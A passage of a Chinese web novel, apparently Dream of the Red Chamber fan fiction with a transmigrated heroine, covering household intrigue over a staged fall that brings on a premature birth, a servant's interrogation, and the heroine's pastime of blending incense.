贾史氏笑吟吟说道:“这怎么能忘呢,走吧,咱们先去看看你大嫂子,我亲自跟她说!” 贾瑚这会儿已经是喜出望外,果然自个母亲没事,当下也跟着一起进去。 张氏已经恢复了一点力气,但是依旧疲倦得厉害,只得躺在炕上跟贾史氏和贾敏打了招呼,对贾敏还好,笑道:“劳烦妹妹费心了,等回头我出了月子,再好好谢你!”但是对贾史氏,却只是公式化地道了个谢,就将眼神看向了贾瑚。 之前虽说忙着生产,但是身边的人为了激起她的求生欲望,说了贾史氏之前的动作,言道姑太太明明已经快要将之前偷偷在门口台阶上洒水的人揪出来了,偏生老太太硬是要摁下去,根本就是不将太太你的生死看在眼里云云。张氏早就对贾家这一帮人绝望了,如今更是憎恨不已,要不是还得维持一个孝顺儿媳的人设,她现在就能跟贾史氏吵起来。 贾史氏只当做不知道张氏的不满,笑呵呵地说道:“老大家的,这次实在是辛苦你了,我那里还有些上好地阿胶、燕窝,回头就叫人给你送过来,你就安安心心在屋里坐个双月子,好好调理一下身体,其他的事情,都不用操心!” 说着,又吩咐人从自己库房里取了一些玩器摆设给送过来,其中就有一个金锁,可以给小孩子挂在摇篮上头压惊。 张氏何曾在乎这些,嘴上道了谢,也懒得继续跟贾史氏虚与委蛇,干脆摆出一副有气无力的样子:“我这一折腾,反倒是叫老太太跟着劳动,还要偏了老太太的好东西,儿媳这里实在是过意不去。我这边也生下来了,老太太也回去歇着吧,回头累着了,便是我的不是了!” 贾史氏笑道:“你和孩子都好好的,我就算是再累,那也是心甘情愿!不过你也的确是累着了,好生歇着吧,要是有什么缺的,尽管叫人去荣禧堂跟我说,咱们荣国府还不差这点东西!” 张氏又道了谢,贾史氏这才携着贾敏一起离去,贾瑚却是不肯走,站在炕边,看着张氏有些狼狈的模样,眼睛都不眨一下,生怕一个错眼,就看不到人了。 赵嬷嬷拿了绞干的热帕子给张氏擦去脸上的虚汗,又给张氏梳理了一下头发,戴上了一条抹额,张氏看起来略微精神了一些,招呼贾瑚在炕沿坐下:“吓着了吧,没事,我再休息一些时日,也就好了!” 贾瑚又忍不住想要哭出来,他用力点了点头,拉着张氏的手,只觉手心也是湿漉漉的,不由哽咽道:“母亲,你一定要好好的,要不然,我会害怕!” “好,我一定会好好的!”张氏安慰道,“要不要去看看你弟弟? ” 贾瑚摇了摇头,固执地说道:不要! 张氏有些无奈?[(,一边赵嬷嬷生怕张氏误会贾瑚没有爱护弟弟之心,连忙帮着解释道:“瑚哥儿就是担心太太,觉得要不是要生小哥儿,太太也不会这般冒险!” 张氏只得说道:“母亲只是之前摔了一跤,不是因为你弟弟才这般,你弟弟也是可怜,没有足月就生下来,如今瘦得跟小猫儿一样,还不知要怎么养着呢!” 贾瑚想起了徒嘉泽,他去平王府这么长时间,从来没见过这个二公子,只知道这位生下来身体就不好,经常听说有太医上门给他诊脉,想到自己的弟弟将来也要这般,不由也心软了起来,当下老老实实去看已经被擦洗干净,裹在襁褓里的弟弟,然后就看到一个红通通,皱巴巴,又很是瘦小的小老头,顿时吓了一跳,他见过不少小婴儿,比如说二房的元春,还有已经半岁多的末儿。 元春算是足月出生,生下来很快就长开了,看起来白白嫩嫩,俨然就是个美人胚子,而平王府那边,末儿更是被养得粉嘟嘟的,一点也不像是襁褓里这个孩子,连呼吸声都听不见,让人担心他下一刻就没了声息。 贾瑚屏住呼吸,小心翼翼地伸手去感受弟弟的呼吸,好半天才有了感觉,这让他愈发忧心起来。 看到贾瑚这个紧张兮兮的模样,张氏知道,就算是他心里还有些芥蒂,也不会还将一切都怪罪到这个弱小如同幼猫的孩子身上了。 张氏微笑道:“弟弟在母亲肚子里少长了一个多月,所以啊,接下来还得仔细养着。时候也不早了,你也先回去洗漱吧,等歇好了,再来看弟弟!” 贾瑚点了点头,一步三回头地走了,张氏这才松了一口气,躺在那里,一时连话都不想说了。 周嬷嬷有些发愁地说道:“原本说是要让赵二家的妯娌过来给小少爷做奶娘的,但是她现在也还在坐月子,只怕是来不了了,一时间想要找个知根知底的,也难!” 张氏叹道:“有人直接在我院子门口洒水,院子里定然有人帮着遮掩,要不然,这院门口一直有人守着,院子里也人来人往的,外头谁走过去都看得清清楚楚,谁做了手脚,还能半点动静都没有?结果姑太太那边居然没有第一时间将人揪出来,可见其中多半有鬼!我院子里这些人还不够知根知底吗?如今连她们都信不过,哪里还能再去相信外头的人。罢了,横竖如今府里在守孝,这孩子,我先喂一段时日,等着赵家那边好了,再叫她进来。” 周嬷嬷咬牙切齿起来:“要是叫我知道是谁吃里扒外,我非要将她打死不可!”作为张氏的奶娘,她从小看着张氏长大,对张氏的感情甚至超过了对自己亲生的孩子,如今见张氏差点就一尸两命,周嬷嬷只恨不得将罪魁祸首碎尸万段。 张氏轻声说道:“嬷嬷也别心急,我已经叫人盯着了!等着瞧吧,我跟孩子这次没事,那边还不定要气成什么样子呢!” 王氏果然正在暗地里头咬牙切齿,不是七活八不活吗?怎么张氏这一胎八个多月,竟是顺顺 利利生下来了,花的时间比她当日生元春还要短。要知道,她大年初一上午破水,为了防止产程太长,将孩子生在年初二,不如年初一那般吉利,她可是喝了几碗催产药,如此,元春生下来的时候,也已经是晚上了,再有个大半个时辰,就是年初二。 结果到了张氏这里,明明还没到时间,结果早上摔了跤,天还没黑,居然就生下来了,听说张氏除了有些虚,略微伤了身子,需要好好调理,压根没什么问题,至于那孩子,也无非就是因为早产,略有些不足,并不像是养不活的模样。 王氏只觉得是老天爷都不站在她这边,以至于功亏一篑。 她这边在发狠,那边周瑞家的悄声走过来,神情不安,低声说道:“太太,刘婆子被抓住了!” 周瑞家的说的刘婆子就是之前在台阶上洒水的人,她奉了王氏的命令,去给台阶洒水。她也是精明的人,知道不可能端着个盆,一盆子冷水就往台阶上浇,而是找了个葫芦,在里面灌了一些热水,然后将葫芦藏在裙子下面。所以,张氏倒是太过疑神疑鬼,她院子里那些人顶多也就是天冷失职,并没有真的跟外头勾结起来。 她本来就是负责洒扫的粗使下人,便在贾敏进院子之后,拿着个扫帚去打扫院门口的夹道,到了台阶那边的时候,借着扫地的机会,拔了葫芦的塞子,将水浇在了条石台阶上。 刘婆子本就是天天能看到的人,张氏院子里的人也就没有怀疑。这些日子天冷得厉害,即便是守门的婆子也是不会站在门口盯着的,而是在门口茶房里面烤火,自然没发现刘婆子过去之后,台阶上就多了一滩水。 这神京的腊月,几乎就是滴水成冰,刘婆子走后没多久,台阶上的水就结成了薄冰,不多久,张氏跟贾敏一块出来,原本台阶就是深色,又是个阴天,因此大家都没有及时发现不对劲,这才有了后来的事情。 张氏在叫人排查自个院子里的人的时候,贾敏那边将贾史氏送回去,就开始打探之前经过台阶的人,被葫芦里流出来的水弄湿了棉裙,大冷天急着回去换衣服的刘婆子就这样被揪了出来。 周瑞家的一听说消息,就冒出了一声冷汗,要知道,刘婆子那边可是她出面收买的,如今刘婆子被抓住,回头供出她来,她岂不是要吃不了兜着走?当下便跑来找王氏讨个护身符。! 第 35 章 王氏一听,愈发气恼起来:“她一个嫁出去的小姑子,多什么事!老太太那边知道了吗?” 周瑞家的急道:“老太太之前累着了,从大房那边回去就先歇下了,奴婢叫人打听了,这会儿还没醒呢!” 王氏咬着牙,说道:“怪不得呢,姑太太用的谁的人,怎地之前半点风声也没听到?” 周瑞家的急得要命,生怕下一刻,贾敏的人就来抓自己,偏生王氏还在问一些,她也知道王氏的性子,当下只得解释道:“姑太太这次回来,可是将大多数陪房都带回来了,这些陪房本来就是咱们府里的人,还有许多亲戚就在府里,稍微打听一下,不就知道了!” 王氏骂道:“谁家小姑子都嫁人了,还插手娘家的事,简直是狗拿耗子,多管闲事!”她也知道,只要是牵出了周瑞家的,到时候肯定要扯到自己头上。 虽说大房和贾敏其实都能猜出来这事跟自己有关,但是一个是猜测,一个是有了人证,那肯定是不一样的。王氏也怕夜长梦多,直接吩咐周瑞家的:“那刘婆子什么人,说的话能信吗?叫她闭嘴便是了!这会儿也不早了,老太太那边该传饭了,我也该过去伺候!你也给我抓紧时间,再出了什么纰漏,别怪我不顾情面!” 话是这样说,王氏想到到时候除了伺候婆婆,还得伺候一个等着抓自己小辫子的小姑子,就是一阵不爽,不过如今是为了给之前的事情收拾首尾,她还是硬着头皮过去了。周瑞家的也立马叫了几个人,准备去处理刘婆子的事情。 事实上,此时贾史氏已经醒了。 贾史氏对于荣国府的掌控是王氏所不能比拟的,王氏无非就是借着管家的权利,叫人投靠自己,而贾史氏是本身管家多年,又是个手松的,肯给下头人好处,所以,下头这些人虽说不介意两头吃,但是,在很多时候,还是要站在贾史氏这一边的。 像是贾敏抓了刘婆子这事,才一听说消息,立马就有人传到了荣禧堂。 听到消息的琥珀不敢怠慢,立马就进了里间,叫醒了还在休息的贾史氏。 贾史氏如今年纪大了,睡眠也浅,琥珀才轻声叫了一声,人也就醒了,她心里有些不高兴,但是面上却没有摆出来,而是问道:“怎么啦,难不成是我老婆子睡过头了?” 琥珀连忙说道:“老太太,是外头有事,奴婢不敢做主,所以才要先告诉老太太,好叫您给拿个主意!” 贾史氏坐起身来,琥珀连忙招呼玻璃一起给贾史氏穿衣,口中说道:“刚刚听说姑太太拿了一个粗使的洒扫婆子要审,至于什么缘故,奴婢也不清楚。只是奴婢想着,姑太太一向是个宽和大度的,那婆子只怕做了什么了不得的事情,大大得罪了姑太太,这才有了此事……” 琥珀话还没说完,贾史氏就明白怎么回事了,她也没想到,贾敏主意那么大,自己都说不要再追究了,她还一意孤行,她这般得罪了娘家二嫂,对她又有什么好处呢?想到这里,贾史氏不由叹了口气,说道:“真是为儿孙 一辈子操不完的心,琥珀⑷⑷[,你去请姑太太过来!” 琥珀刚刚答应下来,门外打帘的小丫头扬声说道:“老太太,二太太来了!” 贾史氏眼中闪过一丝厉色,这王氏耳目也太灵通了一些,自己这才醒,人就来了!心中不虞,嘴里还是说道:“那就让二太太进来吧!玻璃,给二太太上茶!琥珀,你也先去吧!” “哎,奴婢这就过去!”琥珀答应了下来,出去的时候迎面看到了王氏,她匆匆给王氏行了一礼,便往外走去。 王氏对着琥珀笑了笑,贾史氏身边这些大丫头,除了平时需要服侍贾史氏之外,都养得跟外头大户人家的小姐一般,像是琥珀,就管着贾史氏的私房,回头就算是要配人,嫁的也会是府里的管事,王氏如今管家,其实并不够名正言顺,自然不好得罪贾史氏身边的人,因此,尽管好奇琥珀匆匆忙忙去什么地方,却也没有多问,而是往里间走去。 贾史氏这会儿已经换好了衣裳,端坐在炕上,玛瑙跪坐在一边拿着美人捶给贾史氏捶腿,王氏连忙上前问安:“儿媳给老太太请安!” “什么安不安的,不过就是混吃等死罢了!”贾史氏这会儿一肚子不满,语气便不如以往慈和,王氏一听,心里便是一突,疑心贾史氏是要给贾敏撑腰,反过来敲打自己了。 王氏也是个能屈能伸的性子,当下连忙赔笑道:“老太太您是多福多寿的人,我们这些小辈,还得劳烦老太太多指点呢!” 玻璃也已经捧了茶过来奉上,王氏又夸了玻璃一句:“果然是老太太调教出来的人,媳妇本来觉得自个身边伺候的也算是伶俐,如今跟玻璃玛瑙她们比起来,竟是不知道差了多少去!” 贾史氏心中一动,笑道:“你既然喜欢,回头啊,也叫她伺候你去!”意思就是让玻璃去给贾政做姨娘,伺候他们夫妻两个了! 王氏并没有听出贾史氏的言外之意,笑道:“儿媳身边的人虽说粗笨了些,但也还算得用,哪能偏了老太太的人!” 贾史氏只是笑,口中说道:“今儿个到这边来,怎地这般早了?” 王氏到这里就是为了拖延时间,免得贾敏先将事情闹到贾史氏这边来,因此只是说道:“之前听说老太太中午不曾好生用饭,怕老太太今日传饭早,所以便想着要早点过来!” 贾史氏才不相信王氏的鬼话,当年她嫁给贾代善多年无子,贾代善又不是什么清心寡欲的人物,后院里头姨娘姬妾一大堆,结果在贾史氏生下贾赦之前就生了三个庶女,难不成是她们都生不了儿子吗?还不是贾史氏手段高明!等到贾史氏生下贾赦之后,后院那些姬妾姨娘就再无所出。如今王氏搞出来这些事情,都是她当年玩剩下的。 不过,她本来也不想讲事情闹大,因此,明知道王氏是想要拖延时间,也不以为意,干脆就跟王氏东拉西扯,问问贾珠,再说说元春,一派其乐融融的模样。 贾敏虽说聪慧,却没什么经验。她在家的时候有父母护着,出嫁了林家人口简单,后宅根本没什么事。这 会儿自觉揪出了刘婆子就万事大吉,她生性好洁,瞧着刘婆子被撕扯过来,一副蓬头垢面的模样,便心生厌恶,只叫人审问背后主使,叫刘婆子画押,回头拿着口供去贾史氏那里钉死王氏。 贾敏的陪房虽说也是贾家出来的,但是她们其实并不乐意掺和这些事情,毕竟,她们还有亲人在荣国府,若是得罪了当家人,她们的亲人也没好果子吃,因此,审问刘婆子的时候便敷衍了事,只是虚言恫吓。刘婆子哪里怕这些,她要是敢承认自己谋害了张氏,一大家子都得跟着倒霉,因此,死咬着说自己就是去扫地的,之所以湿了裙子,是因为天冷,她带了点烧酒,准备喝一点取暖,结果扫地扫得手冻僵了,酒洒了。至于说为什么衣服上没有酒味,那是因为她回去之后,就把裙子给换下来放水里洗了……总之,主打一个坦白从宽,牢底坐穿,抗拒从严,回家过年。 贾敏听说消息,正要吩咐下头,直接跟刘婆子说,她要是不交代,她就做主,将刘婆子一家给要到自个手里,然后发卖到煤矿上去。 贾敏的陪房还想要劝一劝贾敏,直接将人送到大房那边就是了,至于怎么处置,那也是大房的事情,她一个已经出嫁的小姑子,何苦掺和到这种吃力不讨好的事情里头去。 贾敏只是冷笑:“今儿个我跟大嫂子一块出来,要不是我反应快了一点,摔倒的就还有我一个,何况,要不是因为我去找大嫂子,她能遭这无妄之灾?我要是不给大嫂子一个交代,以后还有脸面回来?”当下便催着陪房去审。 就这点时间叫周瑞家的钻了空子,周瑞家的叫人拿了刘婆子小孙子戴着的一个只有鸡子大的银锁片,在门外晃了几下,刘婆子瞧见,顿时就知道,自己要是敢攀扯到二房头上,一家子断无生路。 人都是欺软怕硬的,贾敏这边就是嘴上发狠,从不见她真正做出过什么惩处下人的事情来。而王氏却是现管的管家太太,她随便一句话,她们一家子就得被撵出去喝西北风。王氏这些陪房更是一个个都不是省油的灯,只怕前脚一家人刚被撵出去,后脚就一家子去阴曹地府团聚了。 刘婆子哭喊道:姑太太,奴婢是真的冤枉,奴婢要是害了大太太,就叫天老爷降下雷火,把我劈死!◎[(” 贾敏隔着屏风听见刘婆子的喊冤声,冷笑道:“你这样的人,竟然还相信阴司报应,我倒是长见识了!” 瞧着外头人还站在那里若无其事地把玩着那个银锁片,刘婆子狠了狠心,竟是从地上爬起来,直接往墙上撞了过去,口中还在喊道:“天老爷啊,奴婢真的是冤枉的!” 她本就是府里面粗使的下人,很有一把子力气,这会儿更是全力为之,直撞得血花四溅,整个人立刻软倒在地,生死不知。! 第 36 章 “你说说你,你什么样的人物,就算是要打要罚,叫下头人去做不行吗?非得自个过去,这下好了,还没问出什么来,反倒是把自己给吓着了!”贾史氏看着脸色发白的贾敏,忍不住嗔道。 “母亲!”贾敏一口银牙几乎都要咬碎,“那刘婆子分明是被人威胁了,可见背后有人,您竟然还想当做无事发生吗?” 贾史氏叹道:“敏儿你啊,从小是被我跟你父亲护得太好了,这才眼里容不下沙子。有道是不聋不瞎,不做家翁,做长辈是这样,做管家奶奶也是一样。这大户人家,家里人口繁多,下面下人又是几代繁衍,盘根错节,所以啊,很多时候,就要胳膊折了藏在袖子里,遮掩好了,免得在外头闹了笑话不说,这下人生了怨气,回头也难免有些想法!” 贾敏见贾史氏模样,一时间不知道该说什么好,只得赌气道:“母亲,女儿刚刚有些惊着了,这便回去休息,今儿就不跟母亲一起用饭了!” 贾史氏无奈地看了贾敏一眼,说道:“儿大不由娘,行啦,你去吧,你现在年轻,等你再大一些,就知道娘都是为了你好!” 贾敏满怀心思地走了,王氏带着些窃喜从后头走出来,试探着问道:“老太太,姑太太这是怎么了?” 这一说话,就知道亲疏了。张氏叫贾敏从来都是妹妹,到了王氏这边,多半都叫姑太太。 贾史氏也懒得理会王氏的称呼,她冷飕飕地看着王氏,一挥手,几个丫头立马知趣地退了出去,连门都关上了。 王氏就算是再傻,也发现不对了,她茫然地看着贾史氏:“老太太,您这是?” “跪下!”贾史氏根本懒得跟王氏多说,直接呵斥道。 王氏正想要反驳,看到贾史氏的眼神,顿时不敢再扎刺,麻溜地跪了下来,口中还在那里强行解释:“老太太,可是儿媳有什么地方做得不对,您总要说清楚,要不然儿媳妇也不明白啊?” “你不明白?”贾史氏冷笑道,“我看你比谁都明白!听说你大嫂子没事,你是不是挺失望啊!然后敏儿什么都没查出来,还平白受了一场惊吓,你是不是很得意?你以为你很聪明?” 王氏这会儿还在嘴硬:“老太太您这话,儿媳妇可不敢当,儿媳妇到现在都不知道怎么回事呢!” 贾史氏神情森然,她警告的眼神落在王氏身上,惊得王氏忍不住瑟缩了一下,就听她说道:“敏儿多年不回来,都能揪出刘婆子来,之前刘婆子的小孙子被人抱走,可是有人看到了你的陪房的!” 贾史氏话说到这个份上,王氏自知狡辩无用,只得说道:“儿媳就是一时糊涂,不过大嫂子不是没事吗?” 贾史氏冷声说道:“你要是真的能成事,那才叫是没事,偏生你留了这样大的破绽,如今张氏那边忙着将养,暂时抽不出空来,等她缓过神来,你以为她就是什么活菩萨?” 王氏又是瑟缩了一下,老老实实跪伏在地:“老太太,看在珠儿和元春的面上,您就给儿媳指一 条明路!” “刘婆子一家不能留了,便是那个周瑞家的,也不要再出现在荣国府!”贾史氏厉声说道,“还有,你以后若是再敢肆意妄为,别怪我不讲情面!” 王氏口中答应,心里却是不以为然,她算是看出来了,自家这个婆婆很多时候也就是个纸老虎,还又要面子,但凡她不想跟儿子撕破脸,就不好真的对儿媳妇如何!不过,刘婆子一家也就算了,周瑞家的不过是拿了二百两银子收买了她,如今将人发卖了,这钱还能拿回来,可是,周瑞家的原本就是自己的陪嫁丫头,之后又嫁给了陪房周瑞做媳妇,周瑞可是管着王氏嫁妆里头的不少产业,也知道王氏的不少秘密,真要是处置了,那她可就少了得力臂膀。 王氏蠢的时候是真蠢,但是机灵的时候,也挺机灵,很快就抓住了贾史氏话里的漏洞,只说不要再出现在荣国府,那直接将人放到外头管着自己的产业,尽量不要回荣国府,有事的话,叫其他人传话不就行了! 打定了主意之后,王氏便匆匆忙忙回了自个院子,将事情吩咐了下去。 贾史氏这回可是看错了张氏,从刘婆子被抓住,张氏就得到了消息,她立马吩咐下人暗中盯着,结果因为没跟贾敏通气,硬是让刘婆子给撞死了,刘婆子的死对张氏来说,那就是死不足惜,但是这里面暴露的问题,却也很明显。 张氏原本就知道此事与二房有关,如今不过是再次确定,她自知如今自己势单力孤,王氏那边还有个老太太护着,老太太连自个亲女儿都不许查,何况是自己这个隔了一层的儿媳妇!所以,明面上找王氏的麻烦做不了,可是,她之前就找人盯上了王氏的娘家,原本只是想给王家一个小教训,如今看起来,却是太过心慈手软了! 张氏叫来心腹,如此这般地吩咐下去,然后看向了吃奶都没什么力气,哭声也很细弱的小儿子,低声说道:“孩子,放心吧,害了你的人,母亲一个都不会放过!” 孩子早产,又是孝期里头,洗三、满月都不好做,也就是荣国府自家关起门来庆祝了一下,贾史氏为了堵住张氏的嘴,第三天又送了许多适合小孩子的金银玩器过来。贾敏也是心中有愧,同样准备了丰厚的礼物。 倒是王氏那边,送过来的居然是一只银项圈、一只平安锁,一对小孩子戴的银手镯,掂一下重量连十两银子都不到。放到一般人家,这样的礼物倒是拿得出手了,放在荣国府,那简直跟打发要饭的一般。她理由还挺充分,如今还在孝期,不能用金器,所以先用银器,等到侄子周岁的时候再补上。 这番言语能哄得了谁呢,本来这些东西,也不是收了就要戴的,像是贾史氏给的金锁,直接就是装进荷包里,挂在摇篮上给孩子压惊,谁会真的将那么重的金锁给孩子戴脖子上,不怕勒着吗? 张氏当时什么也没说,之后直接就吩咐人收起来:“找个箱子装好,送库房里头去!她的东西,我儿子可不敢戴!” 她如今精神也恢复了一些,当日两个稳婆还有太医算是救了他们母子一命,之前张氏 顺利生产,周嬷嬷就代替她给了丰厚的谢礼,这会儿张氏又吩咐人准备了厚礼上门致谢。 稳婆和太医这边的谢礼好办,关键是这次欠下了平王府和隆安侯府的人情。 张氏知道,这两府愿意帮她,一方面是看在那点亲缘关系上,另一方面,其实也是怜惜她娘家遭劫,又遇人不淑。但是,人家帮你是情分,你不能当做是理所当然。 因此,张氏强撑着亲自拟了礼单,叫周嬷嬷替自己去两府致谢。然后周嬷嬷回来的时候,又带回了两府的回礼。 原本周嬷嬷不肯收,结果两边都说是给家里小少爷的庆生礼,周嬷嬷推脱不过,只得收了下来。 顾晓准备的礼物很实惠,都是足金足银的金银器,上头花样也都是寻常的吉祥花样,但是若是手头不凑手,直接就能当钱花。主要是听说如今荣国府是二房当家,只怕等到张氏出了月子,这管家权也未必拿得回来,以贾史氏偏心的和王氏的贪婪,说不得用不了几年,赫赫扬扬的荣国府就要被掏空了。 张氏虽说也有嫁妆,但是之前又是赎买张家的下人,又是给娘家准备盘缠,花了不少钱,如今手头只怕不凑手。贾赦是个靠不住的,张氏和两个孩子想要过得好,还得自己手里有钱才行。 隆安侯府那里也是差不多,礼单里面除了金银器,还有一些药材,名义上说是给小少爷弥补先天不足,实际上是给张氏调理身体的。 看到礼单,张氏又是心酸又是感激,她叹道:“表婶和表妹的情谊,只怕我这辈子也还不清了!” 周嬷嬷劝道:“顾夫人和太妃娘娘都是一片好心,她们也是希望太太你过得好,才算是不辜负了她们这一番好意!” 张氏轻轻地点了点头,心中默默祝祷平王府与隆安侯府能事事顺遂,富贵绵延。 荣国府这几日的乱象,即便贾敏不好意思跟林如海说,林如海也能看得出来。这些日子,林如海其实大多数时间都不在府里,吏部那边还没有将他的官职定下来,他还得去拜访一众师长和林家的亲朋故交,各种应酬。贾敏每每瞧着丈夫身心俱疲的模样,都是心疼不已,哪里还会拿娘家的烦心事来打扰林如海。 只是林如海何等心思玲珑,哪怕不刻意打听,都能看得出来岳家气氛不是很对,私底下叫身边长随打探了一番,就很想摇头。人家的败落就是在山道上走下坡路,贾家的败落几乎就跟坐在吊篮上往下掉一样,说不准什么时候绳子就断了。就这样,还要闹出兄弟阋墙的事情来,岂不是嫌自家败落得还不够快? 以前林如海还羡慕岳家人丁兴旺,不像是自个家里千顷地里一根独苗,如今却觉得,孩子少了也好,没这些乱七八糟的事情,只是,他却是不愿意再住在荣国府了,当下就跟贾敏商量,这几日就搬回林府居住。! 第 37 章 贾史氏百般挽留,饶是贾敏不舍,也不好违了林如海的心意。最终,林如海贾敏夫妇一人还是搬走了,弄得贾史氏好几天看到王氏都鼻子不是鼻子,眼睛不是眼睛。 王氏在荣禧堂摆出一副受气小媳妇的模样,回了自个院子却是暗自得意。 贾敏一走,她觉得荣国府的天都变蓝了!可惜的是,人家以后多半还在京城做官,以后逢年过节的时候,跟小姑子还要低头不见抬头见,要是远远地外放出去,那就更好了! 王氏得意自己就嫁在京城,回娘家也就是半个时辰的车程,不像是她那妹妹,嫁到了金陵,只怕日后就要在金陵终老,想要回京省亲,那又谈何容易。 贾敏这边,王氏觉得林如海总不能一直做京官,过几年大概就会外放,到时候贾敏肯定要跟过去,如此自己可就用不着再被这个小姑子碍眼了。 她却是不想想,林如海如果在京城,贾珠还能讨教一下,等林如海走了,她到哪儿能找到一个探花郎给儿子指点迷津呢?也有可能是她根本对科举的事情一无所知,只觉得只要儿子肯努力,肯定能考上,名师不名师的,也不打紧。 送走了姑父姑母,张氏一方面要坐月子,另一方面想要报复王氏,这些都不好让贾瑚参与进来,因此,小姑子他们前脚刚走,她后脚就催着贾瑚回去上课。 贾瑚之前回来的时候还各种担心,如今瞧着张氏气色也好了起来,弟弟虽说还是小小的一团,但是哭声已经响亮了许多,显然一切都在好转。 张氏没有跟他说自己摔跤是被人害了的事情,也不许下人跟他说,小孩子毕竟藏不住心思,回头闹将出来,反要落个不是。因此,贾瑚如今彻底放下了包袱,得知要来继续上课之后,还从家里给徒嘉钰带了礼物,一套嵌丝紫檀鲁班锁。 这玩意其实以前是贾赦的玩具,贾赦小时候,那才叫一个众星捧月,贾源两口子将大孙子宠得跟什么一样,要星星不给月亮,什么稀罕的东西都留给贾赦,等到贾源两口子相继去世,大半的私房也落到了贾赦手里。贾赦是个不学无术的,对于什么益智玩具根本不感兴趣,他从小喜欢的是各种金石古玩。等贾瑚出生之后,他在自个私房里头扒拉了一番,将这套几乎要落灰的鲁班锁翻了出来,叫人将上头的金丝重新炸了嵌上,送给了贾瑚。 贾瑚一直以来很喜欢这套鲁班锁,这次觉得是王府及时请了太医,救了母亲和弟弟,这才决定将这个拿出来给徒嘉钰作为谢礼。 “你这套跟我的有几个不一样,回头我们可以一块玩!”徒嘉钰也没推辞,反倒是兴冲冲地说道,“也是巧了,母妃之前找府里的工匠给我做了一些新玩具,昨儿个刚送过来,正好咱们先试试看!” 对于小孩子来说,玩具永远是不嫌多的。实际上对于成年人也是一样,上辈子顾晓也是一样,长大之后就开始沉迷乐高。小时候家长不给买,等工作之后,为了补偿自己,顾晓买起乐高积木来从来不手软,看到网上有什么新款,就忍不住剁手,有空 就开始拼装。 她有了自己的房子之后,有个房间名义上是书房,结果书没有几本,书柜里头就是各种乐高玩具,最大的就是一个霍格沃茨城堡,独自就占了最高的一层。要不是家里地方不够,她能凑齐哈利波特系列全套。 这年头的玩具也很多,多到顾晓头一次看到就瞠目结舌的地步,七巧板什么的都过时了,直接上益智图,华容道也做得很精美;想要玩过家家,家具、工具、炊具,各种器物都做得惟妙惟肖;各种动物的玩偶,材质从棉布丝绸皮毛到陶瓷象牙玉石,摆出来俨然就是个动物园……徒嘉钰的院子里,光是玩具就摆了一屋子,可惜真正玩的没多少。 类似于某种传承的心理,顾晓给徒嘉钰定制了一批亭台楼阁的拼插积木,做得非常精美,随时可以放到沙盘盆景之类的地方当做装饰,还能组合起来,自己设计园林,徒嘉钰也是刚上手,主要是这些积木用的都是榫卯结构,拼装起来有点困难,徒嘉钰心里打着小算盘,正好可以将贾瑚拉过来做个劳力,横竖拼好之后,东西都是自己的。 贾瑚头一次看见这种类型的拼插积木,也是惊叹不已:“这一看就好玩,太妃娘娘实在是太厉害了!” 徒嘉钰愈发得意起来:“那是当然,我妈还说以后还有其他好玩的呢!” 徒嘉钰跟贾瑚的休息时间就这样被形形色色的积木给占领了,每天做完功课,就拿着各种工具开始敲敲打打,没几日时间,就弄出了一个园子出来,两人兴高采烈地设计这座小小的园林,从花园里选了青苔做草地,一些小型的花草填充花园,甚至还叫人在外头买了面人进来,放到园林里头,这个积木做的园林一天天变得生意盎然起来。 末儿那边如今也正跟鹦哥打得火热,每日里一起学说话,你来我往,很是热闹。 顾晓顿时觉得轻松多了,小孩子可爱的时候是很可爱,但是烦人的时候也挺烦人。顾晓不曾亲身经历十月怀胎,所以,真没太多耐心放在育儿上,不如让他们自个玩,如此,她自己也能有足够多的自由时间。 能穿成统治阶级的一员,即便这会儿的物质没有那么丰富,但是廉价的劳动力也能让顾晓享受到不亚于后世的奢侈生活。所以,顾晓如今主打的就是一个坚决不内耗,尽情享受生活。 躺平也不是混吃等死,得有点兴趣爱好。看过徒嘉钰和贾瑚组装起来的园林之后,顾晓觉得这个爱好以后可以完全留给儿子了。比起儿子的天马行空,她的想象力却是匮乏了许多,她总不能在这个世界复刻出一个霍格沃茨城堡出来吧,到时候怎么解释她从什么地方知道这些的呢? 好在,她很快就找到了新的兴趣爱好,那就是制香。 穿越里头,很多主角都会搞香水,配上玻璃,简直是一本万利。实际上,玻璃什么的,在中原也不是什么稀罕物,只不过因为窑温还有原材料的缘故,烧制的都是那种有颜色不透明的玻璃,做成各种饰品,被称为药玉,也就是玉石的低配。而对于传统的士大夫贵族来说,香水真算不上什么奢侈 品。香对他们来说是生活中的必需品,熏衣服房子用的熏香,还有随身携带自制的香丸,吃过饭怕有口气,还可以含上一块香片,荣国府吃个螃蟹也得用菊花叶桂花蕊熏的绿豆面洗手,这也算得上是一种香。除非你后世是专门调香水的,否则的话,光是从花草里头蒸馏萃取出来的那种香水,真比不上如今各种形形色色的香方。 顾晓之前用的都是配好的各种成品香。像是如今正值冬日,为了中和室内烧地炕的燥热,屋里熏笼里放着的就是冷梅香,夏天的时候会用百合香。甚至早晚用的香都不一样,早上用暖香,晚上用安神香。书房里读书的时候会用瑞脑香,喜欢红袖添香的还可以用红袖篆。 历朝历代下来,香方也不知道有多少,各家独门的香方外面不会流传,但是各种医书药书上头都记载了大量的香方。从宋朝王安石说了“不为良相,便为良医”这句话之后,文人读医书便成了潮流,贵族人家看病,不跟大夫讨论一下药方都觉得不对劲。顾晓陪嫁的书籍里头就有不少医书药书,如《千金方》、《太平圣惠方》、《肘后方》等,上头都记载了一些香方。 顾晓如今闲着没事,就叫人将书上的香方一一整理了出来,选了一些配方比较简单,用到的香料也比较常见的,自己学着调香。兴致上来就自个研磨,觉得累了,就交给下面的丫头,横竖是为了打发时间,陶冶一下情操,何必要为难自己。不过是几日功夫,倒是配出了不少,先是用香炉焚了试用一番,觉得好的,就将香方另外记录下来,以后可以常做了用,觉得不合适的,就不再多记录,做出来的成品也不留着,直接赏下去,随下头人怎么处理。 如今天气寒冷,府里头也没别的事情,下面那些丫头其实也都闲得很,乐得跟顾晓一起玩乐,她们如今同样真心觉得,先平王没了是好事,如今大家都轻松自在。正院里头如今每日里变幻着各种香味,丫头们没资格用熏炉,便拿了赏下来的香做成香丸,用细纱装了,放到箱笼里头,也能给衣服熏上一些香味。 及到腊月十一,内务府那边奉了圣意,将新到的贡桔给各个王府分了下去。以前徒宏远还在的时候,平王府每每分什么贡品都只能排到第一梯队甚至是第二梯队,在一众皇子里头,差不多都是垫底的。如今徒宏远不在了,大概是圣上父爱大发,怜惜那些失了亲父的皇孙们,平王府竟是分到了两篓贡桔。 